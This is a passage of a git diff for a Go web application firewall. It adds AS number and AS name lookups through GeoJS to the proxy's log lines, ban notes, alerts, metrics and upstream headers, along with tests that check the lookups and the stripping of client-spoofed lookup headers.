-64,6 +64,8 @@ func (rq *request) limitBroken(now time.Time) bool { } notes := bans.Notes{ + ASN: rq.line.ASN, + ASName: rq.line.ASName, Country: rq.line.Country, Limit: hit.Limit, Window: hit.Window, @@ -103,6 +105,8 @@ func (rq *request) banForAttack(now time.Time, rule rules.Rule) { } notes := bans.Notes{ + ASN: rq.line.ASN, + ASName: rq.line.ASName, Country: rq.line.Country, RuleID: rule.ID, Target: rule.Target, @@ -165,6 +169,8 @@ func (rq *request) alertBan(ban bans.Ban) { Event: event, Client: rq.client, Netblock: ban.Netblock, + ASN: ban.Notes.ASN, + ASName: ban.Notes.ASName, Country: ban.Notes.Country, Reason: ban.Reason, Detail: detail, diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 76c25be..b6dde20 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -281,6 +281,8 @@ func TestBanNotes(t *testing.T) { Cause: bans.CauseLimit, Reason: "requests per minute over the limit of 1", Notes: bans.Notes{ + ASN: asnDE, + ASName: asNameDE, Country: "DE", Limit: 1, Window: minute, @@ -362,8 +364,9 @@ func (c *clock) advance(d time.Duration) { // startWithClock starts smallwebwaf in front of an app that answers 200, // with the settings in env on top of trusting localhost's -// X-Forwarded-For, clients' countries looked up at geojsURL, and a clock -// set to midnight, the start of a bucket in every window. +// X-Forwarded-For, clients' AS numbers and countries looked up at +// geojsURL, and a clock set to midnight, the start of a bucket in every +// window. func startWithClock( t *testing.T, geojsURL string, env map[string]string, ) (*sender, *clock, *proxy.Server) { diff --git a/internal/proxy/countries.go b/internal/proxy/countries.go index 2b6ccab..b3099f2 100644 --- a/internal/proxy/countries.go +++ b/internal/proxy/countries.go @@ -1,31 +1,17 @@ package proxy import ( - "context" - "net/netip" "slices" ) -// countryDenied reports whether the country lists refuse the request. -// The client's country is looked up only while a list is set, and never -// for a client on a private, loopback or link-local address, which has -// no country. A client without a country, or whose country cannot be -// found, is refused only by SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. ctx is -// the request's own context. -func (rq *request) countryDenied(ctx context.Context) bool { +// countryDenied reports whether the country lists refuse the request, by +// the client's country as it was looked up. A client without a country, +// or whose country cannot be found, is refused only by +// SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. +func (rq *request) countryDenied() bool { denied := rq.h.config.DeniedCountries allowed := rq.h.config.ExclusivelyAllowedCountries - - if len(denied) == 0 && len(allowed) == 0 { - return false - } - - var country string - if hasCountry(rq.client) { - country = rq.h.geojs.Country(ctx, clientGroup(rq.client)) - } - - rq.line.Country = country + country := rq.line.Country if slices.Contains(denied, country) { return true @@ -33,9 +19,3 @@ func (rq *request) countryDenied(ctx context.Context) bool { return len(allowed) > 0 && !slices.Contains(allowed, country) } - -// hasCountry reports whether addr can be placed in a country: private, -// loopback and link-local addresses cannot. -func hasCountry(addr netip.Addr) bool { - return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast() -} diff --git a/internal/proxy/countries_test.go b/internal/proxy/countries_test.go index 9afeb37..e6d498a 100644 --- a/internal/proxy/countries_test.go +++ b/internal/proxy/countries_test.go @@ -56,16 +56,21 @@ func TestCountryLists(t *testing.T) { maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) - for i, sent := range []struct{ client, country string }{ - {fromDE, "DE"}, {fromKP, "KP"}, {unplaced, ""}, + // The AS number GeoJS gives unplaced, 64512, counts as unknown. + for i, sent := range []struct{ client, asn, asName, country string }{ + {fromDE, asnDE, asNameDE, "DE"}, {fromKP, asnKP, asNameKP, "KP"}, + {unplaced, "", "", ""}, } { req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req.Header.Set(forwardedFor, sent.client) got := do(t, req) line := out.requestLines(t, i+1)[i] - if line.Country != sent.country { - t.Errorf("log line has country %q, want %q", line.Country, sent.country) + if line.ASN != sent.asn || line.ASName != sent.asName || + line.Country != sent.country { + t.Errorf("log line has %q, %q and %q, want %q, %q and %q", + line.ASN, line.ASName, line.Country, + sent.asn, sent.asName, sent.country) } if slices.Contains(tc.refused, sent.client) { @@ -130,7 +135,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { return } - answer := []map[string]string{{"ip": r.URL.Query().Get("ip"), "country": "DE"}} + answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}} err := json.NewEncoder(w).Encode(answer) if err != nil { @@ -174,20 +179,15 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { wantStatus(t, got, http.StatusOK) } -func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { +func TestPrivateAddressIsNeverLookedUp(t *testing.T) { t.Parallel() for _, tc := range []struct { - name string - env map[string]string - clients []string // "" sends no X-Forwarded-For: the client is 127.0.0.1 + name string + env map[string]string }{ - {"no country list is set", nil, []string{fromKP, fromDE}}, - { - "private, loopback and link-local addresses", - map[string]string{deniedCountries: "kp"}, - []string{"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9"}, - }, + {"no setting needs the lookup", nil}, + {"a country list is set", map[string]string{deniedCountries: "kp"}}, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -198,7 +198,10 @@ func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { maps.Copy(env, tc.env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) - for i, sent := range tc.clients { + // "" sends no X-Forwarded-For: the client is 127.0.0.1. + for i, sent := range []string{ + "10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9", + } { req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) if sent != "" { req.Header.Set(forwardedFor, sent) @@ -209,15 +212,26 @@ func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { line := out.requestLines(t, i+1)[i] wantLine(t, line, http.StatusOK, requestlog.ActionForward) - country, present := line.fields["country"] - if !present || country != "" { - t.Errorf("log line for %q has country %v, want an empty one", - line.ClientIP, country) + for _, field := range []string{"asn", "as_name", "country"} { + value, present := line.fields[field] + if !present || value != "" { + t.Errorf("log line for %q has %s %v, want an empty one", + line.ClientIP, field, value) + } } } - if len(asked()) != 0 { - t.Errorf("GeoJS was asked about %v, want nothing", asked()) + // GeoJS is asked about up to 200 waiting clients at once, so once it + // has been asked about fromDE, which comes last, it has been asked + // about every client before it that waited for an answer. + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, fromDE) + wantStatus(t, do(t, req), http.StatusOK) + + waitUntil(func() bool { return slices.Contains(asked(), fromDE) }) + + if got := asked(); !slices.Equal(got, []string{fromDE}) { + t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE) } }) } @@ -264,18 +278,31 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) { } } -// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP -// and no other address. It returns its URL, and what returns the -// addresses it has been asked about. +// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, +// each in an AS of its own, and no other address. It returns its URL, and +// what returns the addresses it has been asked about. func startGeoJS(t *testing.T) (string, func() []string) { t.Helper() - places := map[string]string{fromDE: "DE", fromKP: "KP"} + geojsURL, asked, release := startHeldGeoJS(t) + release() - var asked struct { - mu sync.Mutex - addrs []string - } + return geojsURL, asked +} + +// startHeldGeoJS is startGeoJS for a stand-in that answers nothing until +// release is called. Each request to it waits until then. +func startHeldGeoJS(t *testing.T) (string, func() []string, func()) { + t.Helper() + + var ( + asked struct { + mu sync.Mutex + addrs []string + } + released = make(chan struct{}) + once sync.Once + ) geojs := httptest.NewServer(http.HandlerFunc( func(w http.ResponseWriter, r *http.Request) { @@ -285,11 +312,11 @@ func startGeoJS(t *testing.T) (string, func() []string) { asked.addrs = append(asked.addrs, addrs...) asked.mu.Unlock() - answers := make([]map[string]string, 0, len(addrs)) + <-released + + answers := make([]geojsAnswer, 0, len(addrs)) for _, addr := range addrs { - answers = append(answers, map[string]string{ - "ip": addr, "country": places[addr], - }) + answers = append(answers, answerAbout(addr)) } err := json.NewEncoder(w).Encode(answers) @@ -299,10 +326,48 @@ func startGeoJS(t *testing.T) (string, func() []string) { })) t.Cleanup(geojs.Close) + release := func() { once.Do(func() { close(released) }) } + // Run before geojs.Close, which waits for every request to be answered. + t.Cleanup(release) + return geojs.URL, func() []string { asked.mu.Lock() defer asked.mu.Unlock() return slices.Clone(asked.addrs) + }, release +} + +// The AS numbers and names the stand-in for GeoJS gives fromDE and +// fromKP, as they are logged. +const ( + asnDE = "AS64496" + asNameDE = "Example Net" + asnKP = "AS64511" + asNameKP = "Other Net" +) + +// geojsAnswer is an answer of GeoJS about one address, with the fields +// smallwebwaf reads. +// +//nolint:tagliatelle // GeoJS's own names +type geojsAnswer struct { + IP string `json:"ip"` + ASN int `json:"asn"` + ASName string `json:"organization_name"` + CountryCode string `json:"country_code,omitempty"` +} + +// answerAbout is what the stand-in for GeoJS answers about addr: for an +// address it cannot place, the AS number 64512 and the AS name Unknown +// with no country, as GeoJS does. +func answerAbout(addr string) geojsAnswer { + switch addr { + case fromDE: + return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"} + case fromKP: + return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"} } + + return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"} } diff --git a/internal/proxy/history_test.go b/internal/proxy/history_test.go index 29550e6..c2104e2 100644 --- a/internal/proxy/history_test.go +++ b/internal/proxy/history_test.go @@ -24,7 +24,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { start := clk.Now() // Two let through, one over the limit, which bans the client, and one - // refused under that ban, for which the country is not looked up. + // refused under that ban, for which the client is not looked up. GeoJS + // answers about the client at its first request, and its later ones + // use that answer. s.get(fromDE, http.StatusOK, requestlog.ActionForward) clk.advance(time.Second) s.get(fromDE, http.StatusOK, requestlog.ActionForward) @@ -35,8 +37,10 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { want := ratelimit.History{ FirstSeen: start, LastSeen: start.Add(2 * time.Second), + ASN: asnDE, + ASName: asNameDE, Country: "DE", - LookedUp: start.Add(time.Second), + LookedUp: start, Requests: 4, Forwarded: 2, Refused: 2, diff --git a/internal/proxy/lookup.go b/internal/proxy/lookup.go new file mode 100644 index 0000000..7c92ab0 --- /dev/null +++ b/internal/proxy/lookup.go @@ -0,0 +1,64 @@ +package proxy + +import ( + "context" + "net/http" + "net/netip" + + "sneak.berlin/go/smallwebwaf/internal/lookup" +) + +// The headers in which the app is passed the client's AS number and +// country while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes every header +// name in this form, as it sends it and as it receives it, so X-Client-ASN +// arrives as X-Client-Asn, and Del removes a client's own whatever their +// case; header names are not case-sensitive. +const ( + asnHeader = "X-Client-Asn" + countryHeader = "X-Client-Country" +) + +// lookUp looks up the client's AS number and country, and notes them for +// the log line, unless SWWAF_LOOKUP_SOURCE is off or the client is on a +// private, loopback or link-local address, which no lookup can place. +// While a setting needs the answer, a new client's request waits for it. +// ctx is the request's own context. +func (rq *request) lookUp(ctx context.Context) { + if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) { + return + } + + answer := rq.h.geojs.LookUp(ctx, clientGroup(rq.client)) + rq.lookedUp = true + rq.line.ASN = answer.ASN + rq.line.ASName = answer.ASName + rq.line.Country = answer.Country +} + +// addLookup adds answer, GeoJS's answer about a client, to the client's +// history, and to the notes of the bans on its netblock that have no AS +// number, AS name or country yet. +func (h *handler) addLookup(answer lookup.Answer) { + h.limiter.AddLookup(answer.Client, answer.Answered, + answer.ASN, answer.ASName, answer.Country) + h.ledger.AddLookup(h.netblock(answer.Client.Addr()), + answer.ASN, answer.ASName, answer.Country) +} + +// setLookupHeaders sets the headers in which the app is passed the +// client's AS number and country, leaving out one that is unknown. +func setLookupHeaders(header http.Header, asn, country string) { + if asn != "" { + header.Set(asnHeader, asn) + } + + if country != "" { + header.Set(countryHeader, country) + } +} + +// canBePlaced reports whether a lookup can place addr: private, loopback +// and link-local addresses have no AS number or country. +func canBePlaced(addr netip.Addr) bool { + return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast() +} diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go new file mode 100644 index 0000000..94e9aac --- /dev/null +++ b/internal/proxy/lookup_test.go @@ -0,0 +1,313 @@ +package proxy_test + +import ( + "net" + "net/http" + "net/http/httptest" + "net/netip" + "slices" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// asnAndCountry is what a lookup gives a client: its AS number, AS name +// and country. +type asnAndCountry struct{ asn, asName, country string } + +func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) { + t.Parallel() + + // The stand-in for GeoJS answers only once released. A request that + // waited for it would wait an hour, and get no answer within + // waitLimit. + geojsURL, asked, release := startHeldGeoJS(t) + s, _, server := startWithClock(t, geojsURL, map[string]string{ + lookupTimeout: "1h", + rateLimitPerMinute: "1", + }) + + // fromDE's second request breaks the limit and bans it, and fromKP + // comes too. None waits for GeoJS. + for _, line := range []logLine{ + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), + s.get(fromKP, http.StatusOK, requestlog.ActionForward), + } { + got := asnAndCountry{line.ASN, line.ASName, line.Country} + if got != (asnAndCountry{}) { + t.Errorf("log line has %+v before GeoJS answered, want nothing", got) + } + } + + // Once GeoJS answers, each answer reaches the client's history, and + // fromDE's reaches the notes of its ban. + release() + + netblock := netip.MustParsePrefix(fromDE + "/32") + + waitUntil(func() bool { + return historyOf(t, server, fromDE).ASN != "" && + historyOf(t, server, fromKP).ASN != "" && + server.Ledger.Bans(netblock)[0].Notes.ASN != "" + }) + + de := asnAndCountry{asnDE, asNameDE, "DE"} + + for addr, want := range map[string]asnAndCountry{ + fromDE: de, fromKP: {asnKP, asNameKP, "KP"}, + } { + h := historyOf(t, server, addr) + if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want { + t.Errorf("%s's history has %+v, want %+v", addr, got, want) + } + } + + notes := server.Ledger.Bans(netblock)[0].Notes + if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de { + t.Errorf("the ban's notes have %+v, want %+v", got, de) + } + + // GeoJS was asked about each client once, fromKP after fromDE, whose + // request was under way when fromKP came. + if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) { + t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP) + } +} + +func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} + addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now, + map[string]string{ + trustedProxies: trustLocalhost, + alertWebhookURL: "https://alerts.example/smallwebwaf", + rateLimitPerMinute: "1", + }) + s := &sender{t: t, addr: addr, out: out} + + // The answer is kept before the requests, so GeoJS is not asked, and + // gives no answer of its own. + netblock := netip.MustParsePrefix(fromDE + "/32") + server.GeoJS.Load([]lookup.Answer{{ + Client: netblock, ASN: asnDE, ASName: asNameDE, Country: "DE", + Answered: clk.Now(), Used: clk.Now(), + }}) + + want := asnAndCountry{asnDE, asNameDE, "DE"} + + for _, line := range []logLine{ + s.get(fromDE, http.StatusOK, requestlog.ActionForward), + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), + } { + if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want { + t.Errorf("log line has %+v, want %+v", got, want) + } + } + + h := historyOf(t, server, fromDE) + if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want || + !h.LookedUp.Equal(clk.Now()) { + t.Errorf("history has %+v, looked up at %s; want %+v, at %s", + got, h.LookedUp, want, clk.Now()) + } + + notes := server.Ledger.Bans(netblock)[0].Notes + if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != want { + t.Errorf("the ban's notes have %+v, want %+v", got, want) + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 { + t.Fatalf("alerts waiting %+v, want the ban's alone", waiting) + } + + alert := waiting[0] + if got := (asnAndCountry{alert.ASN, alert.ASName, alert.Country}); got != want { + t.Errorf("the ban's alert has %+v, want %+v", got, want) + } +} + +func TestLookupSourceOffLooksNoClientUp(t *testing.T) { + t.Parallel() + + geojsURL, asked := startGeoJS(t) + s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"}) + + // Even an answer kept from before is not used. + server.GeoJS.Load([]lookup.Answer{{ + Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE, + Country: "DE", Answered: clk.Now(), Used: clk.Now(), + }}) + + for _, from := range []string{fromDE, fromKP} { + line := s.get(from, http.StatusOK, requestlog.ActionForward) + + got := asnAndCountry{line.ASN, line.ASName, line.Country} + if got != (asnAndCountry{}) { + t.Errorf("log line has %+v, want nothing", got) + } + } + + if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() { + t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp) + } + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } +} + +func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { + t.Parallel() + + var ( + mu sync.Mutex + got [][2][]string // each request's X-Client-ASN and X-Client-Country + ) + + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + mu.Lock() + defer mu.Unlock() + + got = append(got, [2][]string{ + r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"), + }) + }) + geojsURL, _ := startGeoJS(t) + addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ + trustedProxies: trustLocalhost, + addLookupHeaders: "true", + }) + s := &sender{t: t, addr: addr, out: out} + + // Each client sends headers of its own. fromDE's first request waits + // for its answer, which the app is passed; unplaced has none to pass, + // and a client on a private address is not looked up. + for _, from := range []string{fromDE, unplaced, "10.0.0.8"} { + s.requestWithHeader(from, "/", clientsOwnLookupHeaders, + http.StatusOK, requestlog.ActionForward) + } + + mu.Lock() + defer mu.Unlock() + + want := [][2][]string{{{asnDE}, {"DE"}}, {nil, nil}, {nil, nil}} + if !slices.EqualFunc(got, want, func(a, b [2][]string) bool { + return slices.Equal(a[0], b[0]) && slices.Equal(a[1], b[1]) + }) { + t.Errorf("the app was passed %v, want %v", got, want) + } +} + +func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) { + t.Parallel() + + var ( + mu sync.Mutex + asn, country []string + ) + + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + mu.Lock() + defer mu.Unlock() + + asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country") + }) + geojsURL, _ := startGeoJS(t) + addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ + trustedProxies: trustLocalhost, + }) + s := &sender{t: t, addr: addr, out: out} + + s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders, + http.StatusOK, requestlog.ActionForward) + + mu.Lock() + defer mu.Unlock() + + if asn != nil || country != nil { + t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", + asn, country) + } +} + +func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) { + t.Parallel() + + // The test runs in a synctest bubble, where the time package runs on a + // clock of the test's own: the wait lasts exactly as long as it should, + // however slowly the test process runs. Nothing in it may wait on the + // network, which would keep that clock from moving on: the request is + // handed to the proxy's handler, and GeoJS is one that never answers. + synctest.Test(t, func(t *testing.T) { + // Not the default second. The exclusive list needs the answer, and + // the app is never reached. + const timeout = 3 * time.Second + + server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL, + time.Now, map[string]string{ + lookupTimeout: timeout.String(), + allowedCountries: "DE", + }) + + req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", + http.NoBody) + req.RemoteAddr = net.JoinHostPort(fromDE, "1234") + began := time.Now() + + server.Handler.ServeHTTP(httptest.NewRecorder(), req) + + if waited := time.Since(began); waited != timeout { + t.Errorf("the request waited %s for its answer, want %s", waited, timeout) + } + + // Without an answer, the client is in no country the list allows. + wantLine(t, out.requestLine(t), http.StatusForbidden, + requestlog.ActionCountryDenied) + }) +} + +// unansweredGeoJSURL is where a GeoJS that never answers is asked: a +// request to it waits, without the network, until it is abandoned. +// TestMain registers it with Go's default transport, through which GeoJS +// is asked. +const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json" + +func TestMain(m *testing.M) { + transport, _ := http.DefaultTransport.(*http.Transport) + transport.RegisterProtocol("unanswered", unansweredGeoJS{}) + + m.Run() +} + +// unansweredGeoJS is the GeoJS at unansweredGeoJSURL. +type unansweredGeoJS struct{} + +// RoundTrip waits until req is abandoned. +func (unansweredGeoJS) RoundTrip(req *http.Request) (*http.Response, error) { + <-req.Context().Done() + + return nil, req.Context().Err() +} + +// clientsOwnLookupHeaders are the X-Client-ASN and X-Client-Country a +// client sends of its own, each twice, in two cases. +const clientsOwnLookupHeaders = "X-Client-ASN: AS1\r\nx-client-asn: AS2\r\n" + + "X-CLIENT-COUNTRY: KP\r\nx-client-country: CN" + +// waitUntil waits until done reports true, for at most waitLimit. +func waitUntil(done func() bool) { + deadline := time.Now().Add(waitLimit) + for !done() && time.Now().Before(deadline) { + time.Sleep(pollInterval) + } +} diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go index a6c3881..7f2110d 100644 --- a/internal/proxy/metrics_test.go +++ b/internal/proxy/metrics_test.go @@ -291,7 +291,8 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { metricsTopN: "2", deniedCountries: "kp", } - addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, env) + geojsURL, _ := startGeoJS(t) + addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env) // The answers are kept before the requests, so that none waits for // GeoJS. @@ -361,6 +362,46 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { `smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`) } +func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + s, clk, server := startWithClock(t, geojsURL, map[string]string{ + metricsToken: token, + metricsTopN: "1", + }) + + // The answers are kept before the requests, so that GeoJS gives none + // of its own. Each client is in an AS of its own. + answer := func(addr, asn string) lookup.Answer { + return lookup.Answer{ + Client: netip.MustParsePrefix(addr + "/32"), ASN: asn, + Answered: clk.Now(), Used: clk.Now(), + } + } + server.GeoJS.Load([]lookup.Answer{ + answer(fromDE, "AS64501"), answer(fromKP, "AS64502"), + }) + + // With one AS number of its own, the other is counted as other. The + // metrics are asked for from a private address, which has no AS number. + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromKP, http.StatusOK, requestlog.ActionForward) + + metrics := s.scrape("10.0.0.9") + wantMetric(t, metrics, + `smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2) + wantMetric(t, metrics, + `smallwebwaf_asn_requests_total{asn="other",instance="app"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0) + wantMetric(t, metrics, + `smallwebwaf_asn_response_bytes_total{asn="other",instance="app"}`, 0) + wantNoSeries(t, metrics, + `smallwebwaf_asn_requests_total{asn="AS64502",instance="app"}`) +} + func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { t.Parallel() diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 21b1000..46246e9 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -54,8 +54,8 @@ type Params struct { RequestLog io.Writer // ProcessLog receives the process's own messages. ProcessLog *slog.Logger - // GeoJSURL is where clients' countries are looked up, normally - // lookup.URL. GeoJS is asked only while a country list is set. + // GeoJSURL is where clients' AS numbers and countries are looked up, + // normally lookup.URL, unless SWWAF_LOOKUP_SOURCE is off. GeoJSURL string // Now tells the time by which requests are counted for the rate // limits, bans are made and run out, and GeoJS's answers are kept, @@ -109,16 +109,23 @@ func New(params Params) *Server { AttackBanDuration: params.Config.AttackBanDuration, MaxBans: params.Config.MaxBans, }), - geojs: lookup.New(lookup.Params{ - URL: params.GeoJSURL, - Now: params.Now, - ProcessLog: params.ProcessLog, - Metrics: m, - Alerts: params.Alerts, - }), rules: params.Rules, alerts: params.Alerts, } + h.geojs = lookup.New(lookup.Params{ + URL: params.GeoJSURL, + Timeout: params.Config.LookupTimeout, + // The country lists and the headers act on the answer before the + // request goes on. + Wait: len(params.Config.DeniedCountries) > 0 || + len(params.Config.ExclusivelyAllowedCountries) > 0 || + params.Config.AddLookupHeaders, + Answered: h.addLookup, + Now: params.Now, + ProcessLog: params.ProcessLog, + Metrics: m, + Alerts: params.Alerts, + }) m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddRules(params.Rules) diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index cb6fa66..c359551 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -66,6 +66,9 @@ const ( rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" + lookupSource = "SWWAF_LOOKUP_SOURCE" + lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" + addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" banResponse = "SWWAF_BAN_RESPONSE" @@ -203,8 +206,8 @@ func startProxy(t *testing.T, appURL string, env map[string]string) (string, *ou return startProxyWithGeoJS(t, appURL, "", env) } -// startProxyWithGeoJS is startProxy with clients' countries looked up at -// geojsURL. +// startProxyWithGeoJS is startProxy with clients' AS numbers and +// countries looked up at geojsURL. func startProxyWithGeoJS( t *testing.T, appURL, geojsURL string, env map[string]string, ) (string, *output) { @@ -232,17 +235,50 @@ func startProxyWithClock( } // startProxyWithAlerts is startProxyWithClock, and returns the queue of -// the alerts the proxy raises as well, as the settings in env make it. No -// alert is sent from it: they wait in it, for the test to look at. +// the alerts the proxy raises as well, as newProxy makes them. func startProxyWithAlerts( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, ) (string, *output, *proxy.Server, *alerts.Queue) { t.Helper() + server, out, alertQueue := newProxy(t, appURL, geojsURL, now, env) + + listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + go func() { + _ = server.Serve(listener) + }() + + t.Cleanup(func() { + _ = server.Close() + }) + + return listener.Addr().String(), out, server, alertQueue +} + +// newProxy makes the server startProxyWithClock starts, without starting +// it, and returns it, what it writes, and the queue of the alerts the +// proxy raises, as the settings in env make it. No alert is sent from the +// queue: they wait in it, for the test to look at. With no geojsURL, there +// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE +// is off unless env sets it. +func newProxy( + t *testing.T, appURL, geojsURL string, now func() time.Time, + env map[string]string, +) (*proxy.Server, *output, *alerts.Queue) { + t.Helper() + settings := map[string]string{ "SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app", } + if geojsURL == "" { + settings[lookupSource] = "off" + } + maps.Copy(settings, env) cfg, err := config.FromEnvironment(func(name string) (string, bool) { @@ -284,20 +320,7 @@ func startProxyWithAlerts( Alerts: alertQueue, }) - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") - if err != nil { - t.Fatalf("listen: %v", err) - } - - go func() { - _ = server.Serve(listener) - }() - - t.Cleanup(func() { - _ = server.Close() - }) - - return listener.Addr().String(), out, server, alertQueue + return server, out, alertQueue } // newClient returns an HTTP client that sends requests as they are made, diff --git a/internal/proxy/ratelimits_test.go b/internal/proxy/ratelimits_test.go index 1d8b504..d133f2a 100644 --- a/internal/proxy/ratelimits_test.go +++ b/internal/proxy/ratelimits_test.go @@ -77,7 +77,8 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { const denied = "192.0.2.50" // in SWWAF_DENY_NETS - s, _, server := startWithClock(t, "", map[string]string{ + geojsURL, _ := startGeoJS(t) + s, _, server := startWithClock(t, geojsURL, map[string]string{ rateLimitPerMinute: "1", rateLimitExemptPaths: "/assets/,/favicon.ico", denyNets: denied, diff --git a/internal/proxy/request.go b/internal/proxy/request.go index f4e0218..2eaffd8 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -48,7 +48,10 @@ type request struct { client netip.Addr peer netip.Addr peerTrusted bool - start time.Time + // lookedUp is true once the client's AS number and country have been + // looked up, whether or not an answer was there. + lookedUp bool + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -192,14 +195,15 @@ func (rq *request) check(ctx context.Context) *refusal { // checkClient 